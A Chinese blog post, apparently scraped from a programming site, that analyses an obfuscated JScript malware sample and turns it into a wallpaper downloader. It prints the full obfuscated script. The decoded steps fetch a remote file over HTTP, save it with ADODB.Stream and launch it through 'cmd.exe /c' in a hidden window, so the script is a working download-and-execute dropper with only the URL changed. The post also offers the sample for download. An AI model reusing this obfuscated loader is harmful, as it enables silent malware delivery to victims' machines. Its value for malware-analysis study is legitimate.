Virus_JS_BeRevisedAsDownTools

2023-11-08 21:59

本文主要是介绍Virus_JS_BeRevisedAsDownTools,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇是对JS样本做的简单分析,并将该样本改造成快速更换壁纸的工具,也可以用来下载网页.这是很久之前的事了,样本大概是卡饭16年12.16测试包里的.

0x1 我擦,这是啥!

var kqyxuz = "e;"
var tofla = "Ope"
var upugryf = ":\\"
var uffytr = "m.u"
var yvemken = "Fo"
var wymipi = ") "
var jmisniqby = "  "
var zmymep = "sp"
var ycpato = "ne"
var iwgude = "HT"
var imudle = "nyi"
var epgad = ")."
var ibyzl = "gor"
var yxypehn = "op"
var isuby = "re"
var zerdu = "e "
var qdizrazy = "Ful"
var qecmuz = "for"
var bnifpynmu = "GET"
var xukkugpu = "MS"
var lfapob = "s3"
var ygsok = "eam"
var tlimto = ".n"
var ynsegru = "= "
var xputhyzhe = "se"
var ozoru = "ADO"
var nereqi = "Sy"
var lzojaf = "Tem"
var ixyqjewg = "rn"
var orwoh = "rs"
var lwiju = "0"
var qahtyry = "eTo"
var djugy = "'C"
var qypivd = "5."
var atniz = "Obj"
var rakxoba = "th"
var lihcuze = "le"
var lopedni = "os"
var havkafz = "tF"
var bhaxa = "cm"
var hutpopzi = "ri"
var ydtygtefc = "if"
var anqabyb = "Cre"
var lreptuqzi = "men"
var qolilge = "WS"
var cpuphylm = "Re"
var jyvibwi = "ML"
var zwapy = "at"
var boxdu = "/c"
var omykk = "pNa"
var juxno = "pe"
var jgekfo = "/ka"
var rdifbyji = "ng"
var oxpoc = " "
var awnabda = "(i"
var ficy = "t"
var ftylunr = "\\'"
var yjufja = "Sc"
var ipurybg = "p:/"
var xekela = "me"
var entukat = "(y"
var dihgy = "se"
var sepziwb = "al"
var ojnike = "st"
var eqzamyxm = "am"
var qecego = "ex"
var iwsezpi = "l"
var ohovvi = "pe"
var roknadf = "Fil"
var kpebuf = "ip"
var gfugpalv = "Su"
var offotw = "rip"
var gbidufe = ");"
var ekupry = "le"
var szema = "on"
var ukpot = "em"
var bivygy = "er"
var vlovu = "d."
var otiju = "Scr"
var kredak = "io"
var edbosfo = "pt"
var yslam = "r("
var omygcurn = "ru/"
var yzviji = "e."
var irrut = "Ge"
var odapan = "de"
var edisno = "de"
var ejup = "Bo"
var aqwidnapl = "Ge"
var affij = "ci"
var inegz = " 1"
var ixypki = "n"
var ehyhkor = "ke"
var axequ = "um"
var pqyjo = "En"
var zrypy = "WSc"
var lwalwylr = "ru"
var exov = "e"
var ohapzy = "ate"
var ynjotm = "TP"
var zjidude = "tS"
var idwodelx = "el"
var ocfobyff = "1"
var sesyve = " f"
var etdufmaf = "ld"
var cjupryhfi = "en"
var lozku = "e "
var iqwigxysq = ";"
var xboroxb = "je"
var naqhi = "dy"
var squfquh = " >"
var dytywko = "Ob"
var welveq = "ipt"
var srunpe = "n"
var varlu = "ol"
var imsimyq = ".i"
var ugotri = "ct"
var ssywu = "XM"
var pwuzahwi = "zs"
var izxobmo = "g."
var exag = "bd"
var gexga = "er"
var giqu = "t."
var uqzyc = "al"
var evsupe = "Cl"
var mytpo = "Str"
var opqannan = "0)"
var egfomxe = "of"
var ipyfnob = "tu"
var fdilbybs = "ect"
var dgalo = "nk"
var ydopyz = "Wri"
var lokux = "lNa"
var igubm = "te"
var acwyvy = " t"
var yqvitik = "me"
var sufxexdo = "Fi"
var esgacnul = "Sav"
var zgara = "tu"
var amikze = "te"
var orsad = "in"
var gmisuh = ".X"
var afhygs = "se"
var hmesgaga = "re"
var lgyhuk = "ez"
var uhube = "Sh"
var nsukeso = "od."
var irbyha = "or"
var hjypsyv = "in"
var iwdudno = "3 "
var ppelonx = "et"
var ukud = "cr"
var tewo = "m("
var gosax = "r "
var ogkom = "ty"
var gofoja = "nd"
var igydpa = "DB."
var pnazibo = "w "
var ojuf = "ru"
var igjite = "ol"
var ebylx = "va"
var heni = "ls"
var zmahxinc = "L2"
var cubygri = "e"
var dyzagh = "rn"
var zisvu = " e"
var fekepy = "Get"
var xufxodc = "bF"var localPahtTest = "C:\\Users\\tech\\Desktop\\dog.jpg"
var specialPath = "0"
var chars = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];
var rand = generateMixed();
var fileName = rand + "dog.jpg"var url2 = GetRandomNum(2650,4200);
var url3 = "http://img.bizhi.sogou.com/images/2015/01/20/105"
var strurl2 = url2.toString();
var url4 = ".jpg?f=download"
var ovfowqi = url3 +  strurl2 + url4function GetRandomNum(Min,Max){   var Range = Max - Min;   var Rand = Math.random();   return(Min + Math.round(Rand * Range));   
}function generateMixed() {var res = "";var id1 = Math.ceil(Math.random()*33);var id2 = Math.ceil(Math.random()*33);var id3 = Math.ceil(Math.random()*33);res = chars[id1] +  chars[id2] +  chars[id3];return res;
}var ybdetof5 = new ActiveXObject('Scripting.FileSystemObject');
if (['dm', 'o', new Function(['e', ebylx, 'u', 'f'][1] + [gosax, 'b'][0] + ['e', 'y', hjypsyv, 'y'][2] + [ehyhkor, 'hv', 'o', 'y'][0] + [pwuzahwi, 'xx', 'u'][0] + ['i', iwdudno, 'hf', 'z'][1] + ['a', ynsegru, 'i'][1] + ['u', 'i', ycpato][2] + ['e', pnazibo, 'e'][1] + ['c', pqyjo][1] + ['i', 'u', axequ, 'e'][2] + ['o', 'f', bivygy, 'r'][2] + ['i', zwapy, 'o'][1] + [irbyha, 'j'][0] + ['v', 'hg', entukat][2] + ['f', 'o', 'b', exag][3] + ['c', 'lh', ppelonx, 'fh'][2] + ['i', egfomxe][1] + ['v', qypivd][1] + [aqwidnapl, 'v'][0] + [havkafz, 'a', 'e', 'a'][0] + [igjite, 'y', 'u'][0] + ['bx', odapan][1] + ['wg', 'w', yslam, 'e'][2] + [djugy, 'o', 'a'][0] + ['e', upugryf, 'y'][1] + ['a', ftylunr, 'wr', 'a'][1] + ['v', epgad][1] + ['dl', 'o', gfugpalv, 'pn'][2] + ['dp', 'u', 'n', xufxodc][3] + [varlu, 'u', 'u'][0] + [edisno, 'i', 'k', 'cg'][0] + ['i', 'vb', orwoh, 'i'][2] + ['k', 'xc', 'r', gbidufe][3] + [jmisniqby, 'k', 'll', 'e'][0] + [ydtygtefc, 'i', 'dp'][0] + ['t', awnabda][1] + [dgalo, 'tx', 'kt', 'y'][0] + ['y', lgyhuk, 'f', 'k'][1] + [lfapob, 'u', 'sz', 'w'][0] + [imsimyq, 'a'][0] + [igubm, 'a', 's', 'e'][0] + ['e', 'a', tewo][2] + [opqannan, 'q'][0] + ['i', 'll', 'sm', tlimto][3] + ['o', eqzamyxm][1] + [yzviji, 'f', 'z', 'bp'][0] + ['sx', ekupry, 'cs'][1] + [rdifbyji, 'u', 't', 'o'][0] + [rakxoba, 'mc', 'x'][0] + [squfquh, 'rs', 'y', 'mb'][0] + [inegz, 'u', 'lg', 'y'][0] + ['gw', wymipi, 'a'][1] + [isuby, 'y'][0] + ['y', 'i', 'h', ipyfnob][3] + [ixyqjewg, 'v'][0] + [acwyvy, 'xr', 't'][0] + ['p', 'nt', 'y', ojuf][3] + ['y', 'gz', kqyxuz][2] + [zisvu, 'o', 'y'][0] + ['j', heni][1] + [zerdu, 'a'][0] + [hmesgaga, 'd', 'i'][0] + [zgara, 'dg', 'e'][0] + [dyzagh, 'j'][0] + [sesyve, 'u', 'o'][0] + ['i', uqzyc, 'u'][1] + ['e', xputhyzhe][1] + ['e', iqwigxysq, 'n'][1])()][2]) {hneneqil0 = this[['mt', 'u', zrypy, 'e'][2] + ['i', offotw, 'w'][1] + ['y', 'h', ficy, 'y'][2]];istudyd7    = hneneqil0[['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1]](['xm', yjufja][1] + ['zj', hutpopzi, 'o'][1] + ['w', 'y', 'q', edbosfo][3] + ['i', 'o', orsad][2] + ['tk', 'o', 's', izxobmo][3] + [sufxexdo, 'y', 'u'][0] + ['vd', lihcuze][1] + ['y', nereqi, 'z', 'y'][1] + ['o', 'e', ojnike][2] + ['e', ukpot, 'y'][1] + ['e', dytywko][1] + ['w', xboroxb][1] + [ugotri, 'k', 'y'][0]);lysfopdep3  = hneneqil0[['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1]](['i', 'w', 'i', qolilge][3] + ['o', ukud, 'e'][1] + ['a', 'f', kpebuf, 'e'][2] + ['y', giqu, 'nz', 'u'][1] + [uhube, 'm', 'e', 'o'][0] + ['u', 'y', idwodelx, 'e'][2] + [iwsezpi, 'o'][0]);woqvybd3    = hneneqil0[['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1]](['rq', 'o', xukkugpu][2] + ['dh', ssywu][1] + [zmahxinc, 'u', 'jt'][0] + ['gc', 'h', gmisuh, 'i'][2] + ['y', jyvibwi, 'e'][1] + ['a', 'y', iwgude][2] + ['y', 'ht', ynjotm][2]);jucyzmum2   = hneneqil0[['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1]](['u', ozoru][1] + ['vq', igydpa][1] + ['e', mytpo, 'hw', 'y'][1] + ['u', 'i', 'u', ygsok][3]);deskPath    = istudyd7[['dk', irrut, 'u', 'e'][1] + ['q', zjidude][1] + ['u', ohovvi][1] + ['o', 'a', affij][2] + ['u', sepziwb][1] + [yvemken, 'r'][0] + ['i', 'y', etdufmaf, 'y'][2] + [gexga, 'y'][0]](['o', specialPath][1]);ubujile0    = istudyd7[['a', fekepy, 'bf'][1] + ['s', lzojaf, 'c', 'mx'][1] + ['a', 'zw', 'o', omykk][3] + ['e', 'a', yqvitik][2]]();fxejoplod6  = woqvybd3[[yxypehn, 'gh', 'pk', 'o'][0] + ['rg', 'q', cjupryhfi][2]]([bnifpynmu, 'mj', 'e'][0], [ovfowqi, 'm', 'w'][0] , ['k', lwiju][1]);fxejoplod6  = woqvybd3[['vd', 'o', dihgy][2] + ['zj', gofoja][1]]();jucyzmum2[['a', ogkom, 'jv'][1] + ['a', 'i', 'z', juxno][3]] = ['i', 'a', 'a', ocfobyff][3];avolcuc7 = woqvybd3[[cpuphylm, 'mq'][0] + ['z', 't', 'q', zmymep][3] + ['i', szema][1] + ['a', afhygs, 'g'][1] + ['o', ejup, 'i', 'i'][1] + ['vz', naqhi][1]];hnoqasann0 = hneneqil0[['h', 'u', otiju][2] + ['kk', welveq][1] + ['b', qdizrazy][1] + [lokux, 'm'][0] + ['gz', xekela, 'n', 't'][1]];fxejoplod6 = jucyzmum2[['e', 'vl', tofla][2] + ['nm', ixypki, 'mj'][1]]();fxejoplod6 = jucyzmum2[[ydopyz, 'u', 'q'][0] + ['e', amikze][1]](avolcuc7);fxejoplod6 = jucyzmum2[['f', 'rn', 's', esgacnul][3] + ['a', qahtyry, 'y', 's'][1] + ['u', roknadf, 'u'][1] + ['p', cubygri][1]](deskPath + fileName);fxejoplod6 = jucyzmum2[[evsupe, 'i', 'kt'][0] + ['o', 'c', lopedni][2] + ['f', exov][1]]();fxejoplod6 = lysfopdep3[['a', lwalwylr][1] + ['i', 'c', srunpe, 'pp'][2]](['l', 'l', bhaxa, 'h'][2] + ['wm', vlovu][1] + ['ps', 'e', qecego][2] + [lozku, 'y', 'ws'][0] + [boxdu, 'bh', 'z', 'z'][0] + [oxpoc, 'tk', 'n', 'u'][0] + deskPath + fileName, ['k', lwiju][1]);var fso=new ActiveXObject('Scripting.FileSystemObject'); var f = fso.CreateTextFile("C:\\log_24.txt", true);f.Write("hneneqil0 = this["+['mt', 'u', zrypy, 'e'][2] + ['i', offotw, 'w'][1] + ['y', 'h', ficy, 'y'][2] +"]");f.WriteBlankLines(1) ;f.Write("istudyd7   = hneneqil0["+['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1] + "]"+"("+['xm', yjufja][1] + ['zj', hutpopzi, 'o'][1] + ['w', 'y', 'q', edbosfo][3] + ['i', 'o', orsad][2] + ['tk', 'o', 's', izxobmo][3] + [sufxexdo, 'y', 'u'][0] + ['vd', lihcuze][1] + ['y', nereqi, 'z', 'y'][1] + ['o', 'e', ojnike][2] + ['e', ukpot, 'y'][1] + ['e', dytywko][1] + ['w', xboroxb][1] + [ugotri, 'k', 'y'][0]+")");f.WriteBlankLines(1) ;f.Write("lysfopdep3 = hneneqil0["+['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1] + "]"+"("+['i', 'w', 'i', qolilge][3] + ['o', ukud, 'e'][1] + ['a', 'f', kpebuf, 'e'][2] + ['y', giqu, 'nz', 'u'][1] + [uhube, 'm', 'e', 'o'][0] + ['u', 'y', idwodelx, 'e'][2] + [iwsezpi, 'o'][0]+")");f.WriteBlankLines(1) ;f.Write("woqvybd3   = hneneqil0["+['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1] + "]"+"("+['rq', 'o', xukkugpu][2] + ['dh', ssywu][1] + [zmahxinc, 'u', 'jt'][0] + ['gc', 'h', gmisuh, 'i'][2] + ['y', jyvibwi, 'e'][1] + ['a', 'y', iwgude][2] + ['y', 'ht', ynjotm][2]+")");f.WriteBlankLines(1) ;f.Write("jucyzmum2  = hneneqil0["+['hl', anqabyb][1] + ['sn', ohapzy, 'jr'][1] + ['o', atniz, 'a', 'dv'][1] + ['ww', fdilbybs, 'q'][1] + "]"+"("+['u', ozoru][1] + ['vq', igydpa][1] + ['e', mytpo, 'hw', 'y'][1] + ['u', 'i', 'u', ygsok][3]+")");f.WriteBlankLines(1) ;f.Write("deskPath   = istudyd7[" + ['dk', irrut, 'u', 'e'][1] + ['q', zjidude][1] + ['u', ohovvi][1] + ['o', 'a', affij][2] + ['u', sepziwb][1] + [yvemken, 'r'][0] + ['i', 'y', etdufmaf, 'y'][2] + [gexga, 'y'][0] + "]" + "(" +['o', specialPath][1] +")" );f.WriteBlankLines(1) ;f.Write("ubujile0   = istudyd7[" + ['a', fekepy, 'bf'][1] + ['s', lzojaf, 'c', 'mx'][1] + ['a', 'zw', 'o', omykk][3] + ['e', 'a', yqvitik][2] + "]"+"()");f.WriteBlankLines(1) ;f.Write("fxejoplod6 = woqvybd3[" + [yxypehn, 'gh', 'pk', 'o'][0] + ['rg', 'q', cjupryhfi][2] +"]"+"("+[bnifpynmu, 'mj', 'e'][0] +"," +[ovfowqi, 'm', 'w'][0] +","+ ['k', lwiju][1]+")");f.WriteBlankLines(1) ;f.Write("fxejoplod6 = woqvybd3[" + ['vd', 'o', dihgy][2] + ['zj', gofoja][1]+"]()");f.WriteBlankLines(1) ;f.Write( "jucyzmum2[" + ['a', ogkom, 'jv'][1] + ['a', 'i', 'z', juxno][3] +"] = " + ['i', 'a', 'a', ocfobyff][3] );f.WriteBlankLines(1) ;f.Write( "avolcuc7 = woqvybd3[" + [cpuphylm, 'mq'][0] + ['z', 't', 'q', zmymep][3] + ['i', szema][1] + ['a', afhygs, 'g'][1] + ['o', ejup, 'i', 'i'][1] + ['vz', naqhi][1]+"]" );f.WriteBlankLines(1) ;f.Write( "hnoqasann0 = hneneqil0[" + ['h', 'u', otiju][2] + ['kk', welveq][1] + ['b', qdizrazy][1] + [lokux, 'm'][0] + ['gz', xekela, 'n', 't'][1]+"]" );f.WriteBlankLines(1) ;f.Write("fxejoplod6 = jucyzmum2[" + ['e', 'vl', tofla][2] + ['nm', ixypki, 'mj'][1] +"]()");f.WriteBlankLines(1) ;f.Write("fxejoplod6 = jucyzmum2[" + [ydopyz, 'u', 'q'][0] + ['e', amikze][1]+"]("+ avolcuc7+ ")" );f.WriteBlankLines(1) ;f.Write("fxejoplod6 = jucyzmum2[" + ['f', 'rn', 's', esgacnul][3] + ['a', qahtyry, 'y', 's'][1] + ['u', roknadf, 'u'][1] + ['p', cubygri][1] + "](" + deskPath + fileName + ")" );f.WriteBlankLines(1) ;f.Write("fxejoplod6 = jucyzmum2[" + [evsupe, 'i', 'kt'][0] + ['o', 'c', lopedni][2] + ['f', exov][1] + "]()");f.WriteBlankLines(1) ;f.Write("fxejoplod6 = lysfopdep3[" + ['a', lwalwylr][1] + ['i', 'c', srunpe, 'pp'][2] +"]("+['l', 'l', bhaxa, 'h'][2] + ['wm', vlovu][1] + ['ps', 'e', qecego][2] + [lozku, 'y', 'ws'][0] + [boxdu, 'bh', 'z', 'z'][0] + [oxpoc, 'tk', 'n', 'u'][0] + deskPath + fileName + "," +  ['k', lwiju][1] +")");f.WriteBlankLines(1) ;f.Close();}10

0x2 哦,是这样啊…

2.1首先声明下:

从 var localPahtTest = “C:\Users\tech\Desktop\dog.jpg”到 var ybdetof5 = new ActiveXObject 之间的第1段(以下简称第1段);
从 var fso=new ActiveXObject(‘Scripting 到 f.Close();之间的第2段 都是后来改造添加的.

2.2 庐山真面目

有没有很酸爽的感觉,前面到底是啥玩意,尤其是去除后来添加的.没事,还是用VBS时不靠谱的办法来处理,所以添加了第2段.
可以明显的看到the real code saved to “C:\log_24.txt”,你随意,我就喜欢保存到这.好了,双击一下试试效果(当然现在输出的是我改后下壁纸的):

hneneqil0 = this[WScript]
istudyd7    = hneneqil0[CreateObject](Scripting.FileSystemObject)
lysfopdep3 = hneneqil0[CreateObject](WScript.Shell)
woqvybd3    = hneneqil0[CreateObject](MSXML2.XMLHTTP)
jucyzmum2   = hneneqil0[CreateObject](ADODB.Stream)
deskPath    = istudyd7[GetSpecialFolder](0)
ubujile0    = istudyd7[GetTempName]()
fxejoplod6 = woqvybd3[open](GET,http://img.bizhi.sogou.com/images/2015/01/20/1052908.jpg?f=download,0)
fxejoplod6 = woqvybd3[send]()
jucyzmum2[type] = 1
avolcuc7 = woqvybd3[ResponseBody]
hnoqasann0 = hneneqil0[ScriptFullName]
fxejoplod6 = jucyzmum2[Open]()
fxejoplod6 = jucyzmum2[Write]()
fxejoplod6 = jucyzmum2[SaveToFile](C:\WindowsW7Qdog.jpg)
fxejoplod6 = jucyzmum2[Close]()
fxejoplod6 = lysfopdep3[run](cmd.exe /c C:\WindowsW7Qdog.jpg,0)

这下有没有感觉到瞬间亲切了,我看了以后也是泪奔啊,尼玛这不是我发小吗,穿个马甲就变高富帅了啊…
既然都见着面了,怎么着也得帮我干点活吧,正好咱这人没追求,就喜欢看美女,My eye must be all in desktop , life is short ,u need wallpaper.

2.3 Wallpaper

从网上搜了个美女壁纸,就跳到搜狗上去了,看起来果然是show girl啊,于是乎就她了.
下了一张看了下,嗯,挺美,可是每次都是同一张,这就不太友好了吧,于是测了一下,壁纸的编号都是顺序的,且有一个大概的范围(2650,4200),好了,那中间的编号在这个范围内随机,就可以看到不同的美女了,对吧,说干就干,就有了

var url2 = GetRandomNum(2650,4200);
var url3 = "http://img.bizhi.sogou.com/images/2015/01/20/105"
var strurl2 = url2.toString();
var url4 = ".jpg?f=download"
var ovfowqi = url3 +  strurl2 + url4function GetRandomNum(Min,Max){   var Range = Max - Min;   var Rand = Math.random();   return(Min + Math.round(Rand * Range));   
}

下了好几次,爽了一会,发现有时新下的还不如刚才那张呢,可是已经被覆盖了,再也找不回来了,唉,好伤心啊….
为了能在桌面再看你一眼,那就都保存着吧,不想再看的积累多了手删就好了,你给girl起名字总得不一样吧

var specialPath = "0"
var chars = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];
var rand = generateMixed();
var fileName = rand + "dog.jpg"function generateMixed() {var res = "";var id1 = Math.ceil(Math.random()*33);var id2 = Math.ceil(Math.random()*33);var id3 = Math.ceil(Math.random()*33);res = chars[id1] +  chars[id2] +  chars[id3];return res;
}
好了,这下满足了...

2.4 web

某天一拍脑袋,貌似上面这样做太明显了,就装个学习吧,然后就2次修改成下网页(文章)的了.

0x3 SampleBeRevisedAsDown.

Sample-请确认样本只用于测试才下载,其他的我可不负-密码国际惯例

你只需要下载后放到桌面双击就ok了...

最后传一张美女图:
这里写图片描述

这篇关于Virus_JS_BeRevisedAsDownTools的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/372769

相关文章

JS常用组件收集

收集了一些平时遇到的前端比较优秀的组件,方便以后开发的时候查找!!! 函数工具: Lodash 页面固定: stickUp、jQuery.Pin 轮播: unslider、swiper 开关: switch 复选框: icheck 气泡: grumble 隐藏元素: Headroom

在JS中的设计模式的单例模式、策略模式、代理模式、原型模式浅讲

1. 单例模式(Singleton Pattern) 确保一个类只有一个实例,并提供一个全局访问点。 示例代码: class Singleton {constructor() {if (Singleton.instance) {return Singleton.instance;}Singleton.instance = this;this.data = [];}addData(value)

Node.js学习记录(二)

目录 一、express 1、初识express 2、安装express 3、创建并启动web服务器 4、监听 GET&POST 请求、响应内容给客户端 5、获取URL中携带的查询参数 6、获取URL中动态参数 7、静态资源托管 二、工具nodemon 三、express路由 1、express中路由 2、路由的匹配 3、路由模块化 4、路由模块添加前缀 四、中间件

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

使用JS/Jquery获得父窗口的几个方法(笔记)

<pre name="code" class="javascript">取父窗口的元素方法:$(selector, window.parent.document);那么你取父窗口的父窗口的元素就可以用:$(selector, window.parent.parent.document);如题: $(selector, window.top.document);//获得顶级窗口里面的元素 $(

js异步提交form表单的解决方案

1.定义异步提交表单的方法 (通用方法) /*** 异步提交form表单* @param options {form:form表单元素,success:执行成功后处理函数}* <span style="color:#ff0000;"><strong>@注意 后台接收参数要解码否则中文会导致乱码 如:URLDecoder.decode(param,"UTF-8")</strong></span>

js react 笔记 2

起因, 目的: 记录一些 js, react, css 1. 生成一个随机的 uuid // 需要先安装 crypto 模块const { randomUUID } = require('crypto');const uuid = randomUUID();console.log(uuid); // 输出类似 '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d'

学习记录:js算法(二十八):删除排序链表中的重复元素、删除排序链表中的重复元素II

文章目录 删除排序链表中的重复元素我的思路解法一:循环解法二:递归 网上思路 删除排序链表中的重复元素 II我的思路网上思路 总结 删除排序链表中的重复元素 给定一个已排序的链表的头 head , 删除所有重复的元素,使每个元素只出现一次 。返回 已排序的链表 。 图一 图二 示例 1:(图一)输入:head = [1,1,2]输出:[1,2]示例 2:(图

uuid.js 使用

相关代码 import { NIL } from "uuid";/** 验证UUID* 为空 则返回 false* @param uuid* @returns {boolean}*/export function MyUUIDValidate(uuid: any): boolean {if (typeof uuid === "string" && uuid !== NIL) { //uuid

js定位navigator.geolocation

一、简介   html5为window.navigator提供了geolocation属性,用于获取基于浏览器的当前用户地理位置。   window.navigator.geolocation提供了3个方法分别是: void getCurrentPosition(onSuccess,onError,options);//获取用户当前位置int watchCurrentPosition(